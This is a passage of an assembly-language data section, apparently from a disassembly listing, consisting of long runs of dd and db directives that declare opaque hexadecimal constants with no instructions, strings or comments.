88707DADh, 51032AD4h, 88274CF7h dd 0BC90C4C4h, 442BFB99h, 9814087Dh, 2254A921h, 95F00377h dd 5145DEBCh, 0EA6848E0h, 0D7AF9909h, 10BC0994h, 0C0951428h dd 0F3BB1DA1h, 5D00F440h, 0DD1A8DE4h, 28931h, 29B0FED0h dd 0B45CC5EEh, 8D1588C6h, 71BA0039h, 7297FBCFh, 1600A0A9h dd 0F4E60857h, 7D29F2h, 1615FCCh, 42386698h, 7BFEA574h dd 0E99E3732h, 6846EEh, 4803C008h, 579E13DFh, 0E99C6F1Dh dd 0F71D7BC5h, 2F7ED432h, 30DE97E5h, 499F35D0h, 6F008C7Bh dd 230F20DDh, 601556DEh, 0EE3B190h, 477F9F10h, 330D5B09h dd 4F01057h, 53C200A5h, 0C4AE456Ah, 3700A35Eh, 983B72B5h dd 7F056DFh, 9DB6778Ah, 39B3769Bh, 72FE6800h, 8B65EB12h dd 0F7A324EEh, 24414FA4h, 88979AF4h, 808BF918h, 34482E66h dd 0A66051BBh, 74B2B549h, 0BAA300BCh, 9DE5020Fh, 0B0040523h dd 0B9F0BF87h, 3DF8BC8Dh, 2CDE38AAh, 98C4B30Ch, 0E4997019h dd 0CF105E07h, 0E400DDDAh, 149603E1h, 0F4CEEB5h, 0E6DA16FEh dd 7E9EE414h, 219A080h, 0D0BF9A30h, 40E6ED1Eh, 0AD32A1C0h dd 1CBB321h, 5EC6CE2Bh, 24336C9Eh, 38046A3Ch, 0EDA7A570h dd 0D4328484h, 20C1332Ch, 9B84177Fh, 2DEF28C2h, 0F6EC1810h dd 9FE97701h, 887DB8B7h, 0F10CEC8Ah, 7FBE8794h, 7818F9D6h dd 2E1C982Fh, 300ECA7h, 24CD8CFFh, 2239DD87h, 3170C531h dd 0E8F4A036h, 4188004Eh, 5482802Ah, 0E20F8465h, 410C6432h dd 0BD15693Ah, 75AA7C00h, 6F249B50h, 721788h, 2F01CC3Ah dd 1AC777E3h, 88FAE1Dh, 0C95526C0h, 61C6186Bh, 7011E9E6h dd 401C2502h, 0FB7ECB08h, 0AC7C2150h, 0F6F8E6B0h, 0F879A8EFh dd 0A03FF31Fh, 0C1E62100h, 0F802A8E7h, 8DB2409h, 0F7900676h dd 8022387Fh, 71AA148Dh dd 742258A2h, 493E9200h, 25DD4B18h, 4E0B0FCBh, 0C4B4C67Dh dd 0A10FA986h, 9D5820F1h, 0B018C18Ah, 724824h, 56F0C28Ah dd 2E7E7A74h, 14502C38h, 11F49E24h, 11037D21h, 6CC65FBAh dd 7600117Eh, 711B6020h, 16662D1Ch, 1364607h, 15D8B7A9h dd 0CE71808Ch, 55D329B4h, 2A68CFC7h, 0E2C4BB2h, 91B80FDh dd 48DA41E5h, 522CCCEEh, 6FA60968h, 30B84013h, 0ED007573h dd 0BBF3E281h, 0B90108E5h, 3583B850h, 69405E82h, 27CB6888h dd 704C3B30h, 0B1C65C62h, 578F07A0h, 7B4AE04Bh, 163059E9h dd 9984A9A8h, 53650067h, 0E2FFE8FBh, 0F000F545h, 7F5D41B8h dd 98D77415h, 668E4460h, 0A688CB74h, 0EE550137h, 0A3F0C035h dd 31032FBh, 1254DC99h, 152DF898h, 0F5670B6Ch, 58106FB1h dd 380F4039h, 0A0AEBC06h, 124D21D9h, 0CEEE1199h, 39A7006Fh dd 3D14EDD3h, 0B3E9076Ch, 0D08FF39Fh, 0AD4B1061h, 53585409h dd 2DF4809Eh, 1712B3Fh, 7F62FA4Eh, 348B6648h, 84B991DCh dd 561FDB80h, 5454EA11h, 13B0C6Ah, 2E20D543h, 0F271E2E3h dd 7C000862h, 0BEF7A46Ah, 0CBAA11CFh, 5C14A3h, 0DEAF4E14h dd 0EE922CDCh, 3652C800h, 66954237h, 9D431626h, 0B8782051h dd 76020B01h, 32159252h, 670CE0A6h, 4DCA4CBh, 3DD70379h dd 0A5B4C243h, 3EE96E20h, 7D497A14h, 5C241E55h, 43258506h dd 8CCCC595h, 42861D10h, 0CBF70325h, 3B7BC582h, 45805811h dd 0AA368972h, 0DC1E335Bh, 51CC981Ah, 90A95895h, 69D304F8h dd 4C7837FBh, 4D10FCh, 0D574949Eh, 9B3152C4h, 0B1985E05h dd 20C03ECAh, 0B9B783A3h, 0B5EE0B60h, 2D8E888h, 0CE36251Ch dd 9100E8C4h, 77A9C992h, 299D04h, 8933C534h, 6D73BD39h dd 0E12F323Ch, 0CE0D4E70h, 14F08EE4h, 0D4127B6Bh, 0E28C6CAh dd 0E800A455h, 0B8E63E50h, 0D3C93Ah, 4D9DA68Ah, 80DB33h dd 0C18FA8D6h, 4EFD5616h, 0BF2DB038h, 52B480C2h, 15FA6B98h dd 0AC9F2E53h, 9C0B601Ch, 7000EFE7h, 4B6D415Eh, 0F0E820h dd 0F3A6249h, 345C5AF1h, 70722405h, 8080BE88h, 94EE690Bh dd 33FE41F8h, 2C67F41Bh, 0CF1D7402h, 0C60DD6D7h, 0BED300F8h dd 0A3EB5887h, 950A4989h, 787450E9h, 0FEF6A443h, 0C0707611h dd 35710119h, 0E4009AD4h, 257A235Ah, 0C8863430h, 3F808EC8h dd 878D0752h, 0D171C8h, 0A6B43D2Dh, 7CB9AFD3h, 1BD85805h dd 0ECC86FADh, 34D50694h, 0D0986059h, 280108A1h, 0A74DC7D4h dd 0C388A4Fh, 915CA200h, 2A9C9DD8h, 44442D75h, 4B00F095h dd 19C6A7E3h, 0D5F173h, 0AA3259A5h, 99787623h, 60925176h dd 3A8BE500h, 84F77472h, 25370FE9h, 7BC0DC9Ch, 12557DC8h dd 0C54F9E14h, 65410040h, 0FAD4459h, 900A770Dh, 82A3111Ch dd 72AA0D91h, 9DC861AEh, 914F76A0h, 0E93B0454h, 0B470C23Ah dd 5D909827h, 9C812374h, 0E9E911Ch, 80142E72h, 0A174D841h dd 8C4D0096h, 6AF1ED27h, 0AE2E9EA2h, 0D250C09Ch, 3C2D88FAh dd 79D9F603h, 0D82BEB49h, 0B15197BDh, 3703F88h, 0FC4E5E8Ch dd 0DBB0F5DFh, 0A70A44A1h, 4886397Bh, 8B008F11h, 726F4676h dd 0B00E025h, 9CC9589h, 1D73A247h, 0D54B08h, 0A99D50EFh dd 39CBA071h, 0F8B38136h, 2833022Ch, 0BC808F22h, 86792BFFh dd 0B711689Ch, 8B73BC4Ch, 748077E2h, 0B0E699F5h, 0A2056D05h dd 8C825369h, 4DEE238Dh, 0DC371001h, 0B886F676h, 8A3F0880h dd 7A4B840Fh, 33F4A100h, 0B25B55A6h, 0F2EC0094h, 0F9053247h dd 60C6538Fh, 3139A1AAh, 0DC0860EBh, 90A6013h, 0FED90F00h dd 0EC6F4FB5h, 7DAF003Eh, 80386850h, 46609B22h, 0F35BDB30h dd 0FDD91F98h, 0A59130ACh, 9303A997h, 88F14B59h, 0DD74C836h dd 63C97875h, 0DE7668F4h, 4FEE8597h, 0F308FC08h, 0C11FE243h dd 0E310FAE8h, 94000A58h, 979DF1AFh, 0E8669824h, 792060ACh dd 0C8FD3F46h, 0DF443706h, 741933ADh, 959A00CDh, 0C7A7776Dh dd 0C1E46BEh, 5880D24Bh, 0E4FA1B1h, 79940C3Dh, 0F671AD90h dd 9337500h, 74BBEA7Fh, 4D9B2EE1h, 0AFBF0AFFh, 0E97C809Ch dd 0F5396AAh, 0D9994C03h, 2AB17Dh, 51E0F341h, 894BAA77h dd 0FCB48D3Eh, 85075600h, 0C390E220h, 0BF470096h, 5AD779F4h dd 73007461h, 0B3EA533Fh, 0A8703428h, 303C7ECCh, 8F79CE87h dd 1200D661h, 0FB9CABC2h, 0B7415924h, 65502158h, 0D4527460h dd 0E0D91FECh, 73FD0B00h, 0AF99A2h, 0CC39A18Ah, 2457B29Bh dd 0DA6E6300h, 0EBFDD49Eh, 0A739C06Ch, 72DF47C5h, 815D8D00h dd 0D9D6E137h, 0A5440AB1h, 60C0961Ch, 0FD8D5B19h, 0CEA26800h dd 0BA7048FFh, 0F97C0339h, 1EEE1D79h, 0E3390886h, 48490657h dd 1F74200Bh, 64B406h, 0EE41F8Fh, 0D000CD7Ah, 49F78681h dd 30664E63h, 2E49FAC0h, 0D300D49Bh, 41B55F14h, 399E05h dd 0B3D89F61h, 2045A364h, 31EE418h, 0A2EC71h, 792F9450h dd 30156260h, 0AE1FB03h, 0CE3E89Fh, 51ED258h, 2200D931h dd 86412FA6h, 29ABDDh, 85309669h, 113A439Bh, 83D21F03h dd 1DEBB60Ah, 40F66341h, 0F0582AB7h, 62196117h, 9B693841h dd 34FF27CEh, 0D5172178h, 1180D921h, 0FC2E366Ch, 99DC60FDh dd 59622703h, 0D3480828h, 0D580FF8Fh, 9C67865Ch, 2178006Dh dd 3062372Fh, 0E100E05Dh, 0A02299E9h, 3032EEEBh, 0D9402761h dd 0D0E624Dh, 0A37D17D6h, 0E1F7892Fh, 80933A60h, 206C0E79h dd 21043CA0h, 3102F8F5h, 7C920694h, 49CC8372h, 9D99D883h dd 4A3B39C6h, 0DD01CFA2h, 9A544082h, 7A30CB8Fh, 6A45391Ch dd 0F7E9B783h, 90001834h, 2AB5D8A0h, 4D7086h, 0A5576649h dd 39383D4Ch, 51E56531h, 0A886D883h, 0C023317Ah, 0D1686C00h dd 4E1CE707h, 0B5E300A8h, 4DC8AC3Ah, 0D80CA9B1h, 40D3EE10h dd 49FC60C1h, 0A4B9F1B2h, 0E17D9600h, 0B6E017Bh, 50627592h dd 40B1909Dh, 0BA2A0A35h, 4E03B0E4h, 4923B20Eh, 6A3A910Ch dd 0C0DE6422h, 0F3870D57h, 0CD0BFB5Fh, 0DD2CB5B3h, 92E45484h dd 0D223E810h, 0CFB2C0A8h, 6D878ACh, 90D9C76Fh, 210021FCh dd 304D7324h, 78175991h, 6512064Eh, 71081E54h, 0F2861B00h dd 237E531Ah, 2A300032h, 8B1096CEh, 4005F80h, 49704767h dd 6C246918h, 0FF683971h, 0EDA988h, 0F3DB93FAh, 6032A67Eh dd 387DEF00h, 4FF9869Fh, 4640163h, 3CC22448h, 7D38878Eh dd 34F4FCEDh, 653A1490h, 0E788ABE1h, 0A1938D6h, 27DA0CB4h dd 69B4580h, 31FEC13Ch, 2DBBE502h, 435B822Fh, 2860C120h dd 551A4180h, 4443C27Fh, 7010810Bh, 7E970E4h, 2C09E874h dd 907FA149h, 0DE5987FDh, 0FB205739h, 0FDDF8CEh, 0D7CFC969h dd 0A10A23E1h, 0B8404792h, 2109C780h, 1DCA0CB5h, 8EF36473h dd 7440264Eh, 71A4D112h, 70115E00h, 1C637D7Ah, 9DCD1CF8h dd 4943436Ch, 0C1D23F7Eh, 9000844h, 3A9880E2h, 4D71F2h dd 8AEFE677h, 0D7C07E39h, 1D1EB712h, 0E7F16401h, 38CCE1F0h dd 7E1B2AB9h, 601900D0h, 7480AE2Ah, 0F833DF85h, 14085Ch dd 2A673821h, 8C88846Ch, 2CEDCA03h, 14A7CE60h, 0B81B4AC6h dd 0C3857E00h, 1303E8F2h, 6196EE0Ah, 3D80AC1Eh, 0AFD138B1h dd 7DBF0CBDh, 0C08A5B8h, 227821CFh, 46F3C438h, 14CF039Ch dd 1ADAB5C0h, 0A79B69E8h, 68E51F17h, 6A81D302h, 0D6A469A5h dd 622A64C8h, 0D5078811h, 86830840h, 0E8048B1Eh, 62991FC1h dd 30901229h, 41923CD8h, 70EED010h, 8D3730ADh, 1A140AC0h dd 0E6202860h, 0C28217ACh dd 157E7419h, 0AFFCD000h, 0C78A095h, 0C04F7A8Ch, 1029B610h dd 0A90E2B6Dh, 8050CD76h, 0AF1D5C3Bh, 80090060h, 1C27F9EAh dd 7100F866h, 7267475Bh, 4E7F99h, 0C539599Ch, 0ED602885h dd 3208B566h, 0AB2C0021h, 12F9CF59h, 7C02A968h, 66458979h dd 5E6E0060h, 97F8C3Fh, 4A6CB900h, 0E28DA2DDh, 934509AAh dd 55CB21h, 0C9464EEh, 7A9A7B6Ch, 0A6139EAh, 4FECC503h dd 0E1975774h, 825395FAh, 0EFF48318h, 0DEA90077h, 4F06726Eh dd 9A091D7Fh, 39F078h, 6B98A737h, 14764A2Bh, 30082063h dd 0D420007Ch, 3183A7CFh, 5A3C66D3h, 5C4B8528h, 0EB83E4EDh dd 3B900108h, 673E3288h, 99598EEBh, 0CCAB86C5h, 1FF049h dd 0E676360Bh, 0FEED55D2h, 75082A66h, 0F3200021h, 519A4836h dd 40C9D14h, 510508E4h, 65D60045h, 0E1BCF0E8h, 0B501467Ch dd 0FA71C9CBh, 0F082739Dh, 75B7C56Bh, 0A8980603h, 61E6B802h dd 93689831h, 6B804036h, 6A608BE5h, 5FBF7228h, 0D91B0E06h dd 20C0E2EBh, 3CC0A38Dh, 5663E500h, 0C7044A32h, 0EECC00BBh dd 0FF9FB6CAh, 49013061h, 6AA421C6h, 27D45B9Ch, 29E13B23h dd 7EE65000h, 0F7567D30h, 3D6583Bh, 1419BBF6h, 78A79821h dd 0BF4300D5h, 53932686h, 8E00A21Ah, 28AC8967h, 3CE2D605h dd 7900C75Ch, 31B09AFh, 6B014261h, 5671D101h, 219658E2h dd 1EDEC30h, 3BF747CDh, 2FC26D1h, 0DBB8DFh, 50C4499Fh dd 463999F9h, 0B0447A00h, 37243D75h, 0C36178E3h, 45B13F49h dd 6A0E30EEh, 2781AA50h, 4B014002h, 227064DDh, 1A7C01F9h dd 910F94FCh, 8554E061h, 3A0BC007h, 36964C3Dh, 0FEF87C58h dd 0D74E0178h, 0DFAA67E5h, 0AB81FBC3h, 426AFC0Ah, 324D3048h dd 0C0FA304Fh, 63E8C2Ah, 0BEAF81E2h, 0E53A4EC7h, 0F43C7F6Dh dd 0CE8A0795h, 7CC6AA5Fh, 0F5A800A8h, 0FDA18F69h, 7AFE723Fh dd 8391FB3Bh, 0A23792E4h, 0D420004Dh, 76D0E01h, 2B005880h dd 8846270Bh, 0F73AD2DBh, 694CC0h, 6D7ACB1Ah, 2E58A3A2h dd 27880B00h, 427E903Ch, 0B2B7584Eh, 0DFFB2200h, 6613167Bh dd 702EEF00h, 10F8968Eh, 5880E723h, 25E7D2DCh, 4C016F16h dd 34523B76h, 1880A3A4h, 74EF7FD8h, 0FA00E287h, 61CC8F63h dd 60483C52h, 8880B04Eh, 1F1FE0E5h, 4F80E623h, 4A9BBCBFh dd 3AD63B40h, 0F47C200h, 4EB075ADh, 0D44D7906h, 0EF0A1A0h dd 0CB7BAA14h, 391A9AA1h, 6518808Dh, 274B5730h, 7E23705Fh dd 0C67B1D0Eh, 0A8370187h, 0E54EBA8Ch, 4DA84054h, 0D000C9Bh dd 7ECF1896h, 0B6F2FDh, 146AF62Dh, 0AE29C1D7h, 0DAA9C60h dd 90583Fh, 2F4F8561h, 0E6F22592h, 108AFB32h, 0E10497FAh dd 81E9FB64h, 0C3541710h, 90D72DF4h, 2A99EDh, 835D976Dh dd 0AD0564F0h, 99898F3Fh, 129DD41h, 2020D308h, 11094282h dd 8511EE54h, 43D218F2h, 88A1BD51h, 0B989D07Eh, 0D9732810h dd 0FAEB305h, 44C04FB5h, 0DDBF11h, 510A3148h, 1ABA0109h dd 4D25E80Fh, 0A8F5E019h, 9B4FD4h, 0DB9C872h, 2466B5B0h dd 4A745A00h, 0F8377D63h, 1F3760Fh, 8E68C9EDh, 0C4EF552Bh dd 0AF004D0Ch, 9B39EE53h, 0F2EBD3B5h, 25F80FF9h, 65C0E355h dd 0B91CAA11h, 170EF7E8h, 83242AFCh, 80913CC5h, 0CDE85Bh dd 621F1018h, 19EB075Eh, 43C94EAh, 31498563h, 0BC211429h dd 0E8FC52A2h, 36A73D2h, 963F9B67h, 0EA8B94EFh, 0B6E41101h dd 5CB7C798h, 0F82DC0C4h, 8231031Eh, 0B10FCD23h, 0ADECDCA0h dd 18F24800h, 66C3A3BDh, 63C91F7Dh, 0E28480D5h, 0AC075455h dd 115C39h, 29A4EA9Eh, 67D34199h, 50C0A84Ah, 42B3F5ADh dd 8A9B5E80h, 0ECB7C0DDh, 414418A0h, 9158F822h, 0EF6DF500h dd 0A84F907Ah, 278A00F1h, 70B65374h, 0D207C326h, 87C313Bh dd 0FAAA61C0h, 34E30035h, 4E87D7E4h, 0B811986Fh, 23007C79h dd 0A11497FBh, 0ED3E1B04h, 48B79D58h, 0BB0E280h, 56B605h dd 864997C0h, 623CD07Ah, 360D6700h, 91341FD8h, 0AEA20096h dd 0A3D384CCh, 0FA00597Dh, 6EA61B62h, 5B166h, 75E21587h dd 0AFCBF1C8h, 8B570600h, 9EB34C4Dh, 0E3B02862h, 3D5F7588h dd 41383EFEh, 45C590Eh, 269AC4A0h, 19005DDBh, 4B3DE196h dd 3E69B6h, 6F491DA2h, 0C9EA2F04h, 353BD900h, 0C93CEE5h dd 0F02FEA0h, 4874503Ch, 0B47529A0h, 1B28A5CAh, 8175B447h dd 0C99BE100h, 7D165D34h, 38C601FCh, 113993F4h, 0C3F0CB09h dd 0DD00726Dh, 2478E6D6h, 1577CFAh, 0E08EDAD3h, 0D7BC1845h dd 0F17DF891h, 70782065h, 6303877Bh, 12C6C4A6h, 0B050003Fh dd 5CCB78Dh, 2092A93Dh, 9632758h, 67900Fh, 8495BB20h, 5D3502EBh dd 79FB079Fh, 66B84C6Bh, 18001BEDh, 15E57348h, 0ABF2FEh dd 0FC5B9F7h, 2483A46Dh, 236CD03h, 0B71D2B84h, 0DC68D7D0h dd 0A622391Fh, 0F605200h, 6E72A855h, 0ABE2A11Dh, 632C4FC0h dd 16328D6Bh, 0AC236D70h, 0E2530F4Eh, 997D20D0h, 0BB7E25h dd 3C15446h, 26ACFE33h, 0CC007892h, 1F8BF55Ah, 24615565h dd 3640669h, 0A00E8349h, 24035788h, 809AE73Ch, 750BD57Ch dd 0AB1B28h, 4907986h, 0D2303F01h, 9B455200h, 483B7C94h dd 0E45A03CAh, 0CCCDBF8Dh, 806C0D90h, 871D0C00h, 0C4B9E6BEh dd 5837006Eh, 9F4FD2B8h, 0E2003DA6h, 8594E0C6h, 7CC999Ah dd 42EC650Bh, 87F7A0C8h, 53268313h, 0C22C26D5h, 700E1E07h dd 0C0A14FAEh, 32192281h, 16170077h, 7F02691Bh, 0E672C10Ch dd 9A0B0912h, 0EB40A01Fh, 562E8755h, 22D61803h, 38151899h dd 80BBD33Bh, 0A66D8872h, 38FEF1Ch, 0B8706749h, 94D0DB8Bh dd 8100549Bh, 0FBCB103Fh, 142F09C7h, 9BB250D8h, 41008B3Eh dd 18203271h, 0BE00F7CBh, 43EA48DEh, 0E54B0Ch, 0B5CCC269h dd 3D019C9h, 5EDF5601h, 0F34E7A2Ah, 3F8291DCh, 9800EFDDh dd 0CC242EC2h, 0D400B701h, 9E6C205Ch, 70907F0Fh, 16873A86h dd 3C7DF303h, 0C1FA32A9h, 0BEEE7C60h, 3C68F95Ch, 0A77801ECh dd 0C3DA57E4h, 0C727970h, 7F4A55Eh, 74009EA8h, 0B4E99C3Eh dd 1F64235Ch, 80FCF2DCh, 1E82EDB2h, 75007747h, 15E117CBh dd 1F3A9D23h, 7C41281h, 0DE3E07A1h, 0B9D101E0h, 0FF00A2DBh dd 27F6AE8Bh, 4D419Bh, 352684A6h, 16CF5387h, 7F8C7400h dd 1BC73D1Fh, 4B664C29h, 3EC08040h, 0EA000255h, 19B11E6h dd 0D00272Ch, 8712D373h, 0FC57145Dh, 6F5F1232h, 0CF36001Eh dd 29CE6B3Ch, 0E4EA3EFEh, 0F38A5400h, 13906E9Fh, 0CA1812C1h dd 510B0F16h, 0A6E4A580h, 5F16C238h, 0E800FEB4h, 726C0324h dd 69B000B3h, 59761EC9h, 2C92778Bh, 496DAF05h, 55C4B324h dd 0F20370C0h, 50D60E73h, 0C3257EECh, 58D4C09Ch, 6A062AF6h dd 941BB024h, 0D0B30138h, 0FD8AB533h, 0ED0DF0FFh, 0BA4F4100h dd 49C929CAh, 460005Dh, 0A733A150h, 9F00A2A5h, 4280220Eh dd 0D290DFh, 0EBA47D1Bh, 0B6277169h, 0F9F43D00h, 13C89422h dd 58CB00D3h, 0FCC975A5h, 0CA03208Ch, 520FBD53h, 809EAA68h dd 0DB472492h, 4CD000DFh, 0B255AAE8h, 6402D489h, 68C6EF45h dd 0D1006704h, 0A8220D6Ah, 0F894A901h, 50BF03D6h, 46D337B4h dd 0BCB27F00h, 0D094A531h, 3B20FFC8h, 91F400BAh, 0F1744790h dd 1800A2B1h, 48547C70h, 62FE76h, 285EA4C9h, 400A91F3h dd 95779700h, 2DCB0461h, 3DF818h, 31774D6h, 894145E6h dd 4F863B01h, 9DBBD26h, 0E94E80D7h, 2D2F0095h, 37292C77h dd 0DBB0E8C8h dd 0C11C9DFEh, 0CF002832h, 6D73B330h, 2DE421h, 0ED44567Ch dd 0E69BA60Dh, 0BFBC5003h, 984E5C9Ch, 9DEB31h, 97C360B9h dd 4906BB76h, 7B032800h, 6933A53Eh, 0ADCC0087h, 0C737D61h dd 0E602DE91h, 3CD7126Fh, 0F5CC802Bh, 6EDEABFh, 604EC3DCh dd 0E800B861h, 3892A7B1h, 3B442794h, 451E80E4h, 3756C0E3h dd 20888A79h, 0E7F2F00h, 8361783Dh, 39CB3431h, 71CC0292h dd 3D108D35h, 7EAF03EDh, 2FEC7B49h, 0FE78B9A8h, 84453B39h dd 0AA7A169Ah, 23C09980h, 0A39C0058h, 0F4B036DFh, 0ED00B6DEh dd 0AD5278FCh, 359677Eh, 0C7336F2Bh, 0C8002869h, 1F9F16E2h dd 12CCA2C4h, 5E47DA2Eh, 0D0BC8000h, 5B976461h, 38CDAB00h dd 8FBB039Ah, 0CC714CB0h, 57A21E00h, 0C50B1B7Fh, 0F3D16502h dd 500913CFh, 0E51E0024h, 2345CD2Fh, 0B400A221h, 0B62BE2BCh dd 943ED410h, 0F2580048h, 0D7943D7Ah, 6D3BCF00h, 0BC2AA085h dd 79C10703h, 0B0637E31h, 0BD026646h, 36384276h, 0E0D800B7h dd 0C9059E1Ah, 0C1CD0080h, 60CB4D43h, 0C004F670h, 0F07A8433h dd 0C4191883h, 37184B40h, 0BC2647C3h, 0B4001C15h, 0C8DF2B6Dh dd 0A4950E3Fh, 986F9D56h, 4D59B80h, 3C038028h, 49DB32B5h dd 835000F9h, 10C21AE3h, 0D300B4A7h, 0F181B3D1h, 4C9B29C8h dd 0ED3ED035h, 56E5EB03h, 0BCF83C92h, 7303A3B0h, 803D4B75h dd 0FC6D90F4h, 265A0EA1h, 6F6FAF0Ah, 59DDEDFh, 80838FD0h dd 2FDB4088h, 0AFB28200h, 5FECD9BFh, 3919004Bh, 0A6B3D317h dd 0EE021BCFh, 596F85A3h, 0ADE4C0EDh, 1C9F820h, 89C14BEBh dd 0D46B8B7Dh, 64004C4Ah, 0D0910BC7h, 586EB3Ch, 0F409D4EAh dd 399C003Fh, 0F8052B98h, 8E9B4B3Ch, 0EAC08h, 933BBF62h dd 28EB1Bh, 847A23EFh, 0B10C2E9Ah, 8180BF2Ch, 0A2B02761h dd 0E863D5EAh, 8FC2B500h, 703414CDh, 92E2491Dh, 46902500h dd 0E5BD9F0h, 0D1A26C19h, 8080E7C4h, 0E1EEBC60h, 52D52912h dd 0F5455800h, 5944EDFh, 6E4199A9h, 147BC0E9h, 6C00D046h dd 650732E8h, 4BB9150Ah, 971C5F72h, 0CCED0039h, 0CBA43181h dd 80DBE33Ah, 286EAA98h, 98F5F24Ch, 237700A0h, 0D9ACE04Eh dd 8090FF3Dh, 8900A0E8h, 1161EE34h, 0B37C95h, 0A84ED104h dd 6ECBEDDh, 8A2F1612h, 6B1C7400h, 454A321h, 0A0079FD4h dd 4870A058h, 5C7EC778h, 0FC95C018h, 4B1B70h, 35A4E484h dd 45C97D65h, 0B168D600h, 96CBBEB4h, 24A7037Fh, 0CE8BF7E3h dd 0A07C9000h, 11057BC3h, 3AB70034h, 40A1254Ah, 7830BF04h dd 62107116h, 0BDC900EDh, 0A7ADB480h, 0FB008109h, 59C62065h dd 0FF7A1A4h, 6813166Fh, 76DEA000h, 27E88BD6h, 8047BC3Bh dd 888F4ECh, 2ECAEBCCh, 40F4BDD5h, 0FE2E64D9h, 0E15C5700h dd 778922EDh, 0DCD20629h, 0E0E22651h, 7BA73F00h, 82A2BFEh dd 917A55h, 7273D774h, 3A1AF07Ch, 0ACB23B03h, 0F093F2DEh dd 5F2DF7h, 503818Ch, 1CDDB8FFh, 320C3500h, 0F1C794A3h dd 8EFA01B2h, 0A475E248h, 6B1BFC58h, 47042A77h, 4C9B7CF3h dd 0AB018083h, 0B4A1F061h, 859700DDh, 74434683h, 9303B90Ch dd 414990F1h, 0A85DABEDh, 0CDFA61h, 53D6FF70h, 0C562095Ah dd 0E209900h, 0E1FC073Ch, 0DDF0817Bh, 2EA6FC3Bh, 4FBC2C02h dd 48D9ABE7h, 73ACE184h, 0D302487h, 9D342424h, 0DF37896Dh dd 0BE54FA81h, 71126039h, 9AE81200h, 603A52A2h, 36CF0077h dd 0B044A962h, 1C99197Ah, 6D8C2E89h, 8AD742B0h, 1E50701Ah dd 12F13090h, 49A8C036h, 0DC0C97FCh, 280309E8h, 0F777C7h dd 0F92E2114h, 45D4532Ah, 782C5502h, 600840A2h, 0BF9618h dd 0C30DF9DEh, 7E1FAA8Dh, 5F310A00h, 25BDA476h, 0ABEA18h dd 79C0FF98h, 0C7F936C8h, 670648h, 338312DCh, 38D408Eh dd 5638DFF4h, 82DB150Ch, 9536BF8h, 0F3902000h, 52B4B0A6h dd 0EC3B1CB6h, 0FC0AC0B1h, 26D614D7h, 53E0130Fh, 0E3AF20F1h dd 9EC0F22h, 60FFF584h, 9CAA9802h, 0E66D3C60h db 0, 8Fh, 0CFh db 0E9h dd 54B83BB4h, 5F6A00EFh, 16A838DDh, 0EB3B55E2h, 7AAF006Ch dd 17F0C21h, 3F850048h, 8C829110h, 130734DFh, 0C35F4546h dd 0D48F66B0h, 53EC0041h, 0C9422773h, 7F00020Fh, 54B73E87h dd 90701C5Dh, 269600A5h, 0DD18E85Fh, 0E31EB610h, 0F64017FCh dd 985AADE1h, 0B1E4EFh, 3F93B463h, 4183736Eh, 0CEB5B300h dd 0A410605Fh, 0E5F80094h, 2E8413E7h, 8F00F3A3h, 436E7EB7h dd 9F8370h, 61C450Fh, 0F25AFC11h, 0EA23A200h, 42058703h dd 5DDB00EBh, 0B44FDF4Bh, 0C100D0C9h, 0F80E47CAh, 81ACB8h dd 643868CDh, 798A027Bh, 2446860Ch, 22FC2920h, 70B0EAB9h dd 0E4E8D700h, 658BB31Dh, 8D64005Ah, 38EE1A3Ah, 0D8A03C8Eh dd 8C1F3005h, 2C40DD40h, 7EDFAF1Eh, 86E239h, 7A65A4FDh dd 40E21275h, 6D4CF402h, 0ACC87B74h, 0F2D510E4h, 18B00DFh dd 810B5EF6h, 4400160Eh, 15EB63D6h, 0B1E985h, 36F3C96h dd 0A5184392h, 0C99F2B04h, 1C906B48h, 74C8370Dh, 65640C75h dd 13A19206h, 38E85C01h, 2F71908Ah, 41780880h, 95E2AF1Fh dd 0D935D00h, 82BCC467h, 468B0110h, 0B01DB629h, 200840AAh dd 2860CEAEh, 0A4C9A988h, 0C83F0213h, 7A8C59C4h, 0E417C07Dh dd 6F273E19h, 0FF130077h, 90ABDCE9h, 0B6182F7Dh, 0E1C9E830h dd 0EC08C3C5h, 98049238h, 0D4D310CFh, 4C9B00EFh, 4F7FB107h dd 0A95E2A1Eh, 3F908EF9h, 0FCB600A1h, 3C89755Ch, 0BA92A54Dh dd 30FABF0h, 7CE3A755h, 0ADDEF410h, 3E0EC09h, 0A3F368EFh dd 5DC88E5Ah, 4801738Bh, 5F3D9A41h, 0C0CF33E0h, 0E029AE43h dd 31980060h, 5185B891h, 8801D969h, 0EEEB018Ch, 9BCC5F07h dd 671501ABh, 99CFE057h, 57D2087h, 6E969201h, 2F64B994h dd 0E2D85BD1h, 649001Eh, 517F8986h, 9D15CD67h, 84E354h dd 3B0BC982h, 60E148ABh, 0F7301C80h, 14077D0Ah, 4787F8BBh dd 3CB038A3h, 6307C530h, 0FE26FCDCh, 58A0420Fh, 1C777293h dd 8232805h, 0EFBA381h, 2005586h, 306E527Bh, 73D2F813h dd 0B230D418h, 0FE67596h, 0DB88EC5Eh, 0E9AAC463h, 0C25015B0h dd 0A59C8700h, 332D016Ah, 167A004Ah, 0D636066Eh, 97054C20h dd 0CB613B77h, 0C400E45Fh, 0B9C5ADA8h, 474E8B1h, 0CE15A6D0h dd 6F449084h, 6201F3FFh, 7E312B11h, 0C97025EAh, 174900DDh dd 7D2871A5h, 0B700EFC5h, 0BCBD36F1h, 4AA5CE6h, 97C483BFh dd 0A8488BEh, 6D193F03h, 3FA8CE22h, 0F700B861h, 0C82AC0CAh dd 2800A215h, 63D0D576h, 38BEF365h, 970AD326h, 94A83445h dd 416087E3h, 3BAC1930h, 10742D30h, 3E40596h, 0B09163B7h dd 82FB3CD2h, 6EEC3900h, 57A41786h, 34580008h, 0AA02870Ch dd 0B10978D1h, 7F277B82h, 627EB580h, 46788139h, 434DDA00h dd 181190E1h, 0CDAD0014h, 172701A5h, 7C035186h, 358CA7F6h dd 0E21129E0h, 60DDF004h, 43107860h, 656154h, 3EC822CAh dd 635203BEh, 0D40C7FECh, 200BB259h, 6EBC00EBh, 1E9609A1h dd 4000279Dh, 92F54894h, 2DA587h, 0EC2F7B42h, 55CEAA2Bh dd 8106B400h, 886A19Bh, 0CB5A00EAh, 5E5DAF0Bh, 6D0046F1h dd 0E2F2A4Ch, 6E7462h, 0B5DA9807h, 107B228Eh, 3000EDFAh dd 25963F79h, 313C0Dh, 0DD92E063h, 0DC0B626Ch, 0B0002FF0h dd 0CC7B9DD7h, 18D909Fh, 7751273Ch, 47501262h, 7B000FF5h dd 5D7656Eh, 0BE4D983Dh, 97EF80C3h, 0FA1A543Ah, 